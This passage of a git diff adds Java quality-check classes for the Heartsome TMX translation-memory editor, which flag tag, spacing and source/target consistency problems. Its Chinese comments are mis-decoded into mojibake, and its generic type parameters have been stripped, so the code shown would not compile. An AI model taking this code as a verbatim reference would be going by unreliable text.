getOriginalSrcLang() { + return originalSrcLang; + } + public void setOriginalSrcLang(String originalSrcLang) { + this.originalSrcLang = originalSrcLang; + } + public String getOriginalTgtLang() { + return originalTgtLang; + } + public void setOriginalTgtLang(String originalTgtLang) { + this.originalTgtLang = originalTgtLang; + } + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QAModel.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QAModel.java new file mode 100644 index 0000000..ee1a884 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QAModel.java @@ -0,0 +1,133 @@ +package net.heartsome.cat.te.core.qa; + +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.Map; + +import net.heartsome.cat.te.core.TeCoreConstant; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer; + +/** + * te å“质检查的 model 类,以åŠå¸¸é‡ç›¸å…³ + * @author robert 2012-09-16 + * @version + * @since JDK1.6 + */ +public class QAModel { + + private Map> qaItemId_Name_Class; + private boolean ignoreTag; + private boolean ignoreCase; + private String srcLang; + private String tgtLang; + private TmxLargeFileContainer container; + + + public QAModel(){ + qaItemId_Name_Class = new LinkedHashMap>(); + HashMap valueMap = new HashMap(); + valueMap.put(QAConstant.ITEM_NAME, QAConstant.QA_TagConsistenceText); + valueMap.put(QAConstant.ITEM_CLASSNAME, "net.heartsome.cat.te.core.qa.TagConsistenceQA"); + qaItemId_Name_Class.put(QAConstant.QA_TagConsistence, valueMap); + + valueMap = new HashMap(); + valueMap.put(QAConstant.ITEM_NAME, QAConstant.QA_NumberConsistenceText); + valueMap.put(QAConstant.ITEM_CLASSNAME, "net.heartsome.cat.te.core.qa.NumberConsistenceQA"); + qaItemId_Name_Class.put(QAConstant.QA_NumberConsistence, valueMap); + + valueMap = new HashMap(); + valueMap.put(QAConstant.ITEM_NAME, QAConstant.QA_SpaceOfParaCheckText); + valueMap.put(QAConstant.ITEM_CLASSNAME, "net.heartsome.cat.te.core.qa.SpaceOfParaCheckQA"); + qaItemId_Name_Class.put(QAConstant.QA_SpaceOfParaCheck, valueMap); + + valueMap = new HashMap(); + valueMap.put(QAConstant.ITEM_NAME, QAConstant.QA_TgtNullText); + valueMap.put(QAConstant.ITEM_CLASSNAME, "net.heartsome.cat.te.core.qa.TgtNullQA"); + qaItemId_Name_Class.put(QAConstant.QA_TgtNull, valueMap); + + valueMap = new HashMap(); + valueMap.put(QAConstant.ITEM_NAME, QAConstant.QA_SrcSameWithTgtText); + valueMap.put(QAConstant.ITEM_CLASSNAME, "net.heartsome.cat.te.core.qa.SrcSameWithTgtQA"); + qaItemId_Name_Class.put(QAConstant.QA_SrcSameWithTgt, valueMap); + + valueMap = new HashMap(); + valueMap.put(QAConstant.ITEM_NAME, QAConstant.QA_SrcSameButTgtText); + valueMap.put(QAConstant.ITEM_CLASSNAME, "net.heartsome.cat.te.core.qa.SrcSameButTgtQA"); + qaItemId_Name_Class.put(QAConstant.QA_SrcSameButTgt, valueMap); + + valueMap = new HashMap(); + valueMap.put(QAConstant.ITEM_NAME, QAConstant.QA_TgtSameButSrcText); + valueMap.put(QAConstant.ITEM_CLASSNAME, "net.heartsome.cat.te.core.qa.TgtSameButSrcQA"); + qaItemId_Name_Class.put(QAConstant.QA_TgtSameButSrc, valueMap); + + } + + + public Map> getQaItemId_Name_Class() { + return qaItemId_Name_Class; + } + public boolean isIgnoreTag() { + return ignoreTag; + } + public void setIgnoreTag(boolean ignoreTag) { + this.ignoreTag = ignoreTag; + } + public boolean isIgnoreCase() { + return ignoreCase; + } + public void setIgnoreCase(boolean ignoreCase) { + this.ignoreCase = ignoreCase; + } + public String getSrcLang() { + return srcLang; + } + public void setSrcLang(String srcLang) { + this.srcLang = srcLang; + } + public String getTgtLang() { + return tgtLang; + } + public void setTgtLang(String tgtLang) { + this.tgtLang = tgtLang; + } + public TmxLargeFileContainer getContainer() { + return container; + } + public void setContainer(TmxLargeFileContainer container) { + this.container = container; + } + + + + public static void main(String[] args) { +// List tuIdList = new ArrayList(); +// for (int i = 0; i < 300000; i++) { +// tuIdList.add("/desctop/robert/new folder1" + TeCoreConstant.ID_MARK + i); +// } +// +// System.out.println(tuIdList.size()); +// String a = "asdf"; +// +// long time1 = System.currentTimeMillis(); +// System.out.println(tuIdList.indexOf(a)); +// System.out.println(System.currentTimeMillis() - time1); + + long time1 = System.currentTimeMillis(); + Map tuIdMap = new HashMap(); + for (int i = 1; i <= 300000; i++) { + tuIdMap.put("/desctop/robert/new folder1" + TeCoreConstant.ID_MARK + i, i); + } + System.out.println(System.currentTimeMillis() - time1); + + System.out.println(tuIdMap.size()); + + time1 = System.currentTimeMillis(); + for (int i = 1; i <= 300000; i++) { + tuIdMap.get("/desctop/robert/new folder1" + TeCoreConstant.ID_MARK + i); + } + System.out.println(System.currentTimeMillis() - time1); + + + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QARealization.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QARealization.java new file mode 100644 index 0000000..a4dfcf4 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QARealization.java @@ -0,0 +1,38 @@ +package net.heartsome.cat.te.core.qa; + +/** + * te å“质检查的父类 + * @author robert 2013-09-17 + * @version + * @since JDK1.6 + */ +public abstract class QARealization { + protected QAModel model; + private QAControl qaControl; + + /** 开始 tmx çš„å“质检查 */ + public abstract void beginTmxQA(QATUDataBean tu); + /** 开始 数æ®åº“ 的å“质检查 */ + public abstract void beginDBQA(); + + public void printResult(QAResultBean data){ + qaControl.storeQAData(data); + } + + + public QAModel getModel() { + return model; + } + public void setModel(QAModel model) { + this.model = model; + } + public QAControl getQaControl() { + return qaControl; + } + public void setQaControl(QAControl qaControl) { + this.qaControl = qaControl; + } + + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QAResultBean.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QAResultBean.java new file mode 100644 index 0000000..5a75c21 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QAResultBean.java @@ -0,0 +1,93 @@ +package net.heartsome.cat.te.core.qa; + +/** + * å“质检查结果数æ®ç±» + * @author robert 2013-09-22 + * @version + * @since JDK1.6 + */ +public class QAResultBean { + private String tuID; + + private String lineNumber; + private String qaType; + private String qaTypeText; + private String mergeID; + private String srcContent; + private String tgtContent; + + + public QAResultBean(){ } + + public QAResultBean(String tuID, String qaType, String lineNumber, String qaTypeText, String mergeID, String srcContent, String tgtContent){ + this.tuID = tuID; + this.qaType = qaType; + this.lineNumber = lineNumber; + this.qaTypeText = qaTypeText; + this.mergeID = mergeID; + this.srcContent = srcContent; + this.tgtContent = tgtContent; + } + + public String getTuID() { + return tuID; + } + + public void setTuID(String tuID) { + this.tuID = tuID; + } + + public String getLineNumber() { + return lineNumber; + } + + public void setLineNumber(String lineNumber) { + this.lineNumber = lineNumber; + } + + public String getQaType() { + return qaType; + } + + public void setQaType(String qaType) { + this.qaType = qaType; + } + + public String getQaTypeText() { + return qaTypeText; + } + + public void setQaTypeText(String qaTypeText) { + this.qaTypeText = qaTypeText; + } + + public String getMergeID() { + return mergeID; + } + + public void setMergeID(String mergeID) { + this.mergeID = mergeID; + } + + public String getSrcContent() { + return srcContent; + } + + public void setSrcContent(String srcContent) { + this.srcContent = srcContent; + } + + public String getTgtContent() { + return tgtContent; + } + + public void setTgtContent(String tgtContent) { + this.tgtContent = tgtContent; + } + + + + + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QATUDataBean.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QATUDataBean.java new file mode 100644 index 0000000..b93202f --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QATUDataBean.java @@ -0,0 +1,62 @@ +package net.heartsome.cat.te.core.qa; + +/** + * te å“质检查的 tu pojo 类。 + * @author Mac + * @version + * @since JDK1.6 + */ +public class QATUDataBean { + /** 针对 tmx ,æ¯ä¸ªã€€tu çš„ id */ + private String tuID; + /** æºæ–‡çš„全文本 */ + private String srcPureText; + /** 译文的全文本 */ + private String tgtPureText; + /** 带标记的æºæ–‡æœ¬ï¼Œè¯¥å±žæ€§ç”¨äºŽæ ‡è®°ä¸€è‡´æ€§æ£€æŸ¥ */ + private String srcContent; + /** 带标记的译文本,该属性用于标记一致性检查 */ + private String tgtContent; + private String lineNumber; + + public QATUDataBean(){} + + public String getTuID() { + return tuID; + } + public void setTuID(String tuID) { + this.tuID = tuID; + } + public String getSrcPureText() { + return srcPureText; + } + public void setSrcPureText(String srcPureText) { + this.srcPureText = srcPureText; + } + public String getTgtPureText() { + return tgtPureText; + } + public void setTgtPureText(String tgtPureText) { + this.tgtPureText = tgtPureText; + } + public String getLineNumber() { + return lineNumber; + } + public void setLineNumber(String lineNumber) { + this.lineNumber = lineNumber; + } + public String getSrcContent() { + return srcContent; + } + public void setSrcContent(String srcContent) { + this.srcContent = srcContent; + } + public String getTgtContent() { + return tgtContent; + } + public void setTgtContent(String tgtContent) { + this.tgtContent = tgtContent; + } + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QATrigger.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QATrigger.java new file mode 100644 index 0000000..7e261e1 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QATrigger.java @@ -0,0 +1,374 @@ +package net.heartsome.cat.te.core.qa; + +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.innertag.TmxInnerTagParser; +import net.heartsome.cat.te.core.Activator; +import net.heartsome.cat.te.core.TeCoreConstant; +import net.heartsome.cat.te.core.resource.Messages; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.swt.widgets.Display; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDNav; + + +/** + * te å“质检查触å‘ç±» + * @author robert 2013-09-17 + * @version + * @since JDK1.6 + */ +public class QATrigger { + private QAModel model = new QAModel(); + private QAControl qaControl = new QAControl(); + /** 这是进度æ¡çš„å‰è¿›é—´éš”,也就是当循环多少个trans-unit节点åŽå‰è¿›ä¸€æ ¼ */ + private static int workInterval = 1; + private Map qaItemClassMap = new HashMap(); + private static final String TUVName = "tuv"; + private static final String SEGName = "seg"; + public static final Logger logger = LoggerFactory.getLogger(QATrigger.class); + + + /** + * 开始进行 tmx çš„å“质检查 + */ + public void beginTMXQA(final TmxLargeFileContainer container, String srcLangCode, String tgtLangCode, List tuIdentifiers){ + final String srcLang = srcLangCode.toLowerCase(); + final String tgtLang = tgtLangCode.toLowerCase(); + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + final boolean ignoreCase = store.getBoolean(TeCoreConstant.FILTER_ignoreCase); + final boolean ignoreTag = store.getBoolean(TeCoreConstant.FILTER_ignoreTag); + model.setIgnoreTag(ignoreTag); + model.setIgnoreCase(ignoreCase); + model.setSrcLang(srcLang); + model.setTgtLang(tgtLang); + model.setContainer(container); + qaControl.setOriginalSrcLang(srcLangCode); + qaControl.setOriginalTgtLang(tgtLangCode); + + + final TmxInnerTagParser parser = TmxInnerTagParser.getInstance(); + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + long time1 = System.currentTimeMillis(); + + try { + // UNDO 这里还应给相åŒæºæ–‡ä¸åŒè¯‘文分é…进度æ¡æ•°æ®ã€‚ + QARealization realization = null; + AutoPilot ap = new AutoPilot(); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + List itemList = QACommonFuction.getUseableQAItems(); + + // 先统计总数 + int allTuSum = 0; + for (String subFile : container.getSubFiles()) { + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + ap.bind(vn); + // 之å‰è¿‡æ»¤éƒ½æ˜¯å¸¦æºè¯­è¨€ä»¥åŠç›®æ ‡è¯­è¨€çš„,åŽæ¥å› ä¸ºè€ƒè™‘到译文为空的判断,故æžæˆè¿™æ ·ã€‚ + String xpath = "count(/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "'] " + "and tuv[lower-case(@xml:lang)='" + tgtLang + "']])"; + ap.selectXPath(xpath); + allTuSum += (int) ap.evalXPathToNumber(); + } + if (allTuSum > 500) { + workInterval = allTuSum / 500; + } + monitor.beginTask(Messages.getString("qa.QATrigger.job.monitor.name"), + allTuSum % workInterval == 0 ? (allTuSum / workInterval) : (allTuSum / workInterval) + 1); + + String tuID = null; + int index = -1; + int traversalTuIndex = 0; + int subFileIndex = -1; + for (String subFile : container.getSubFiles()) { + subFileIndex = container.getSubFiles().indexOf(subFile); + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + ap.bind(vn); + vn.push(); + String xpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "'] " + + "and tuv[lower-case(@xml:lang)='" + tgtLang + "']]"; + ap.selectXPath(xpath); + + String srcText = ""; + String tgtText = ""; + String curLang = ""; + String nodeName = ""; + QATUDataBean tuDataBean = new QATUDataBean(); + while (ap.evalXPath() != -1) { + curLang = ""; + tuDataBean = new QATUDataBean(); + traversalTuIndex ++; + + if ((index = vn.getAttrVal("hsid")) != -1) { + // 这里的 tuid 采用 subFileIndex + mark + hsId 的情况,是为了节çœå†…存。 + tuID = vn.toString(index); + tuID = subFileIndex + TeCoreConstant.ID_MARK + tuID; + tuDataBean.setTuID(tuID); + }else { + continue; + } + + // 先切æ¢åˆ°å­èŠ‚点 + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equals(TUVName)) { + if ((index = vn.getAttrVal("xml:lang")) != -1) { + curLang = vn.toRawString(index); + if (curLang.equalsIgnoreCase(srcLang)) { + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + srcText = vu.getElementContent(); + tuDataBean.setSrcContent(srcText); + srcText = parser.getTmxPureText(srcText); + tuDataBean.setSrcPureText(srcText); + }else { + vn.push(); + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + srcText = vu.getElementContent(); + tuDataBean.setSrcContent(srcText); + srcText = parser.getTmxPureText(srcText); + tuDataBean.setSrcPureText(srcText); + break; + } + } + vn.pop(); + } + } + vn.pop(); + }else if (curLang.equalsIgnoreCase(tgtLang)) { + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + tuDataBean.setTgtContent(tgtText); + tgtText = parser.getTmxPureText(tgtText); + tuDataBean.setTgtPureText(tgtText); + }else { + vn.push(); + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + tuDataBean.setTgtContent(tgtText); + tgtText = parser.getTmxPureText(tgtText); + tuDataBean.setTgtPureText(tgtText); + break; + } + } + vn.pop(); + } + } + vn.pop(); + } + } + } + + // 开始é历 tu 第一个å­èŠ‚点,找出 tuv + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equals(TUVName)) { + if ((index = vn.getAttrVal("xml:lang")) != -1) { + curLang = vn.toRawString(index); + if (curLang.equalsIgnoreCase(srcLang)) { + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + srcText = vu.getElementContent(); + tuDataBean.setSrcContent(srcText); + srcText = parser.getTmxPureText(srcText); + tuDataBean.setSrcPureText(srcText); + }else { + vn.push(); + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + srcText = vu.getElementContent(); + tuDataBean.setSrcContent(srcText); + srcText = parser.getTmxPureText(srcText); + tuDataBean.setSrcPureText(srcText); + break; + } + } + vn.pop(); + } + } + vn.pop(); + }else if (curLang.equalsIgnoreCase(tgtLang)) { + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + tuDataBean.setTgtContent(tgtText); + tgtText = parser.getTmxPureText(tgtText); + tuDataBean.setTgtPureText(tgtText); + }else { + vn.push(); + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + tuDataBean.setTgtContent(tgtText); + tgtText = parser.getTmxPureText(tgtText); + tuDataBean.setTgtPureText(tgtText); + break; + } + } + vn.pop(); + } + } + vn.pop(); + } + } + } + } + } + vn.pop(); + + tuDataBean.setLineNumber((traversalTuIndex) + ""); + + for (String item : itemList) { + realization = getClassInstance(item); + realization.beginTmxQA(tuDataBean); + } + qaControl.sendDataToViewer(false); + + monitorWork(monitor, traversalTuIndex, false); + + } + monitorWork(monitor, traversalTuIndex, true); + vn.pop(); + } + qaControl.sendDataToViewer(true); + } catch (Exception e) { + e.printStackTrace(); + } + + monitor.done(); + System.out.println("当å‰æ—¶é—´ä¸º = " + (System.currentTimeMillis() - time1)); + } + }; + try { + new ProgressMonitorDialog(Display.getDefault().getActiveShell()).run(true, true, runnable); + } catch (Exception e) { + e.printStackTrace(); + } + } + + + /** + * 开始进行 db 的å“质检查 + */ + public void beginDBQA(){ + + + + } + + + /** + * 获å–实例 + * @param qaItemId + * @return ; + */ + public QARealization getClassInstance(String qaItemId) { + if (qaItemClassMap.get(qaItemId) != null) { + return (QARealization) qaItemClassMap.get(qaItemId); + } + + try { + HashMap valueMap = model.getQaItemId_Name_Class().get(qaItemId); + Object obj = null; + try { + obj = Class.forName(valueMap.get(QAConstant.ITEM_CLASSNAME)).newInstance(); + } catch (Exception e) { + e.printStackTrace(); + logger.error( + MessageFormat.format(Messages.getString("qa.QATrigger.LOGG.getInstanceError"), + valueMap.get(QAConstant.ITEM_NAME)), e); + } + if (QARealization.class.isInstance(obj)) { + qaItemClassMap.put(qaItemId, (QARealization) obj); + ((QARealization) obj).setQaControl(qaControl); + QARealization realication = (QARealization) obj; + realication.setModel(model); + return realication; + } + } catch (Exception e) { + logger.error(Messages.getString("qa.QATrigger.qaError"), e); + } + return null; + } + + + /** + * 控制进度æ¡çš„进度 + * @param monitor + * @param traversalTuIndex + * @param last + * @return ; + */ + private void monitorWork(IProgressMonitor monitor, int traversalTuIndex, boolean last){ + if (last) { + if (traversalTuIndex % workInterval != 0) { + /*try { + Thread.sleep(500); + } catch (Exception e) { + }*/ + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } + }else { + if (traversalTuIndex % workInterval == 0) { + /*try { + Thread.sleep(500); + } catch (Exception e) { + }*/ + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } + } + } + + + public static void main(String[] args) { + String test = "/mac/descktop/robert/document/te document/tmx file/test/file1" + TeCoreConstant.ID_MARK + "10"; + long time1 = System.currentTimeMillis(); + for (int i = 0; i < 10000000; i++) { +// System.out.println(test.split(TeCoreConstant.ID_MARK)[1]); + test.split(TeCoreConstant.ID_MARK); + } + System.out.println(System.currentTimeMillis() - time1); + + + + } + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/SpaceOfParaCheckQA.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/SpaceOfParaCheckQA.java new file mode 100644 index 0000000..1c765f7 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/SpaceOfParaCheckQA.java @@ -0,0 +1,100 @@ +package net.heartsome.cat.te.core.qa; + +import net.heartsome.cat.common.util.TextUtil; + +/** + * 段首/段末空格 + * @author robert 2013-09-16 + * @version + * @since JDK1.6 + */ +public class SpaceOfParaCheckQA extends QARealization { + + @Override + public void beginTmxQA(QATUDataBean tu) { + String tgtText = model.isIgnoreTag() ? tu.getTgtPureText() : tu.getTgtContent(); + if (TextUtil.checkStringEmpty(tgtText)) { + return; + } + boolean hasError = false; + + String srcText = model.isIgnoreTag() ? tu.getSrcPureText() : tu.getSrcContent(); + + int srcFirstSpaceNum = getSpaceNumber(srcText, true); + int srcLastSpaceNum = getSpaceNumber(srcText, false); + + int tarFirstSpaceNum = getSpaceNumber(tgtText, true); + int tarLastSpaceNum = getSpaceNumber(tgtText, false); + + //先处ç†æ®µé¦–空格的检查 + String qaType = QAConstant.QA_SpaceOfParaCheck; + String qaTypeText = QAConstant.QA_SpaceOfParaCheckText; +// String qaTip = ""; + if (srcFirstSpaceNum > tarFirstSpaceNum) { +// qaTip = MessageFormat.format(Messages.getString("qa.SpaceOfParaCheckQA.paraFirstLost"), new Object[] { +// srcFirstSpaceNum, tarFirstSpaceNum, (srcFirstSpaceNum - tarFirstSpaceNum) }); +// super.printResult(new QAResultBean(tu.getTuID(), tu.getLineNumber(), qaType, qaTypeText, qaTip)); + hasError = true; + } else if (srcFirstSpaceNum < tarFirstSpaceNum) { +// qaTip = MessageFormat.format(Messages.getString("qa.SpaceOfParaCheckQA.paraFirstExcess"), new Object[] { +// srcFirstSpaceNum, tarFirstSpaceNum, (tarFirstSpaceNum - srcFirstSpaceNum) }); +// super.printResult(new QAResultBean(tu.getTuID(), tu.getLineNumber(), qaType, qaTypeText, qaTip)); + hasError = true; + } + + //处ç†æ®µæœ«ç©ºæ ¼çš„检查 + if (srcLastSpaceNum > tarLastSpaceNum) { +// qaTip = MessageFormat.format(Messages.getString("qa.SpaceOfParaCheckQA.paraLastLost"), new Object[] { +// srcLastSpaceNum, tarLastSpaceNum, (srcLastSpaceNum - tarLastSpaceNum) }); +// super.printResult(new QAResultBean(tu.getTuID(), tu.getLineNumber(), qaType, qaTypeText, qaTip)); + hasError = true; + }else if (srcLastSpaceNum < tarLastSpaceNum) { +// qaTip = MessageFormat.format(Messages.getString("qa.SpaceOfParaCheckQA.paraLastExcess"), new Object[] { +// srcLastSpaceNum, tarLastSpaceNum, (tarLastSpaceNum - srcLastSpaceNum) }); +// super.printResult(new QAResultBean(tu.getTuID(), tu.getLineNumber(), qaType, qaTypeText, qaTip)); + hasError = true; + } + + if (hasError) { + super.printResult(new QAResultBean(tu.getTuID(), qaType, tu.getLineNumber(), qaTypeText, null, tu.getSrcContent(), tu.getTgtContent())); + } + + } + + @Override + public void beginDBQA() { + + } + + + + /** + * 获å–文本段段首或段尾的空格数 + * @param content è¦èŽ·å–空格数的文本 + * @param isFirst 是å¦èŽ·å–段首的空格数 + * @return 空格数; + */ + public int getSpaceNumber(String content, boolean isFirst){ + int spaceNum = 0; + + if (isFirst) { + for (int i = 0; i < content.length(); i++) { + if (content.charAt(i) == QAConstant.QA_ONE_SPACE_CHAR) { + spaceNum ++; + }else { + break; + } + } + }else { + for (int i = content.length() - 1; i >= 0; i--) { + if (content.charAt(i) == QAConstant.QA_ONE_SPACE_CHAR) { + spaceNum ++; + }else { + break; + } + } + } + return spaceNum; + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/SrcSameButTgtQA.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/SrcSameButTgtQA.java new file mode 100644 index 0000000..2194b14 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/SrcSameButTgtQA.java @@ -0,0 +1,195 @@ +package net.heartsome.cat.te.core.qa; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import net.heartsome.cat.common.util.TextUtil; + +/** + * æºæ–‡ç›¸åŒä½†è¯‘æ–‡ä¸åŒ + * @author robert 2013-09-16 + * @version + * @since JDK1.6 + */ +public class SrcSameButTgtQA extends QARealization { + boolean isFilter = false; + private Map, List> dataMap = null; + + @Override + public void beginTmxQA(QATUDataBean tu) { + // 备注:这里ä¸åˆ¤æ–­è¯‘文为空的情况 + if (dataMap == null) { + initData(); + } + + if (dataMap.size() < 0) { + return; + } + + String tuId = tu.getTuID(); + + String qaType = QAConstant.QA_SrcSameButTgt; + String qaTypeText = QAConstant.QA_SrcSameButTgtText; + Set deleteSetKey = null; + filterFor:for (Set tuSet : dataMap.keySet()) { + if (tuSet.contains(tuId)) { + deleteSetKey = tuSet; + String mergeID = TextUtil.createUUID(); + + for(QATUDataBean curTUBean : dataMap.get(tuSet)){ + super.printResult(new QAResultBean(curTUBean.getTuID(), qaType, curTUBean.getLineNumber(), qaTypeText, mergeID, curTUBean.getSrcContent(), curTUBean.getTgtContent())); + } + dataMap.remove(deleteSetKey); + break filterFor; + } + } + } + + @Override + public void beginDBQA() { + + } + + + /** + * åˆå§‹åŒ–相åŒæºæ–‡ä¸åŒè¯‘文所è¦ç”¨åˆ°çš„æ•°æ® + * @return ; + */ + private Map, List> initData(){ + dataMap = new HashMap, List>(); + + long time1 = System.currentTimeMillis(); + final boolean ignoreTag = model.isIgnoreTag(); + final boolean ignoreCase = model.isIgnoreCase(); + + try { + List dataList = QACommonFuction.getAllTuDataOfTmxList(model); + + Collections.sort(dataList, new Comparator() { + @Override + public int compare(QATUDataBean tu1, QATUDataBean tu2) { + String srcText1 = ignoreTag ? tu1.getSrcPureText() : tu1.getSrcContent(); + String srcText2 = ignoreTag ? tu2.getSrcPureText() : tu2.getSrcContent(); + srcText1 = model.isIgnoreCase() ? srcText1.toLowerCase() : srcText1; + srcText1 = TextUtil.trimString(srcText1); + srcText2 = model.isIgnoreCase() ? srcText2.toLowerCase() : srcText2; + srcText2 = TextUtil.trimString(srcText2); + return srcText1.compareTo(srcText2); + } + }); + + QATUDataBean bean = null; + QATUDataBean curBean = null; + List equalsList; + bigFor:for (int i = 0; i < dataList.size(); i++) { + bean = dataList.get(i); + equalsList = new ArrayList(); + equalsList.add(bean); + String srcText = ignoreTag ? bean.getSrcPureText() : bean.getSrcContent(); + srcText = TextUtil.trimString(srcText); + + for (int j = i + 1; j < dataList.size(); j++) { + curBean = dataList.get(j); + String curSrcText = ignoreTag ? curBean.getSrcPureText() : curBean.getSrcContent(); + curSrcText = TextUtil.trimString(curSrcText); + if (ignoreCase ? srcText.equalsIgnoreCase(curSrcText) : srcText.equals(curSrcText)) { + equalsList.add(curBean); +// dataList.remove(j); +// j --; + i ++; + }else { + ananysisData(equalsList, ignoreCase, ignoreTag); + continue bigFor; + } + if (j == dataList.size() - 1) { + // 处ç†ã€€equalslist 中是å¦æœ‰æ®‹ä½™çš„æ•°æ®ã€‚ + ananysisData(equalsList, ignoreCase, ignoreTag); + } + } + } + + }catch (Exception e) { + e.printStackTrace(); + } + + System.out.println("排åºæ‰€éœ€æ—¶é—´ä¸º:" + (System.currentTimeMillis() - time1)); + return dataMap; + } + + /** + * 处ç†ç›¸å…³æ•°æ®ï¼Œä¸»è¦æ˜¯ç”¨äºŽåˆ†æžã€€ç›¸åŒæºæ–‡ä¸åŒè¯‘文的数æ®ï¼Œå¦‚符åˆæ ‡å‡†ï¼Œæ”¾åˆ°ç¼“存中。 + * @param equalsList + * @param ignoreCase + * @param ignoreTag ; + */ + private void ananysisData(List equalsList, boolean ignoreCase, boolean ignoreTag){ + if (equalsList.size() > 1) { + // 先检查是å¦è¯‘æ–‡ä¸åŒ + boolean isTgtDiff = false; + String tgtText = ignoreTag ? equalsList.get(0).getTgtPureText() : equalsList.get(0).getTgtContent(); + tgtText = TextUtil.trimString(tgtText); + tgtFor:for (int k = 1; k < equalsList.size(); k++) { + String curTgtText = ignoreTag ? equalsList.get(k).getTgtPureText() : equalsList.get(k).getTgtContent(); + curTgtText = TextUtil.trimString(curTgtText); + if (!(ignoreCase ? tgtText.equalsIgnoreCase(curTgtText) : tgtText.equals(curTgtText))) { + isTgtDiff = true; + break tgtFor; + } + } + + if (isTgtDiff) { + Set tuIdSet = new HashSet(); + for(QATUDataBean thisBean : equalsList){ + tuIdSet.add(thisBean.getTuID()); + } + // 对 equalsList 按 lineNumber æŽ’åº + Collections.sort(equalsList, new Comparator() { + @Override + public int compare(QATUDataBean tu1, QATUDataBean tu2) { + int lineNumber1 = Integer.parseInt(tu1.getLineNumber()); + int lineNumber2 = Integer.parseInt(tu2.getLineNumber()); + return lineNumber1 > lineNumber2 ? 1 : -1; + } + }); + dataMap.put(tuIdSet, equalsList); + } + } + equalsList = new ArrayList(); + } + + + public static void main(String[] args) { + Map testMap = new HashMap(); + 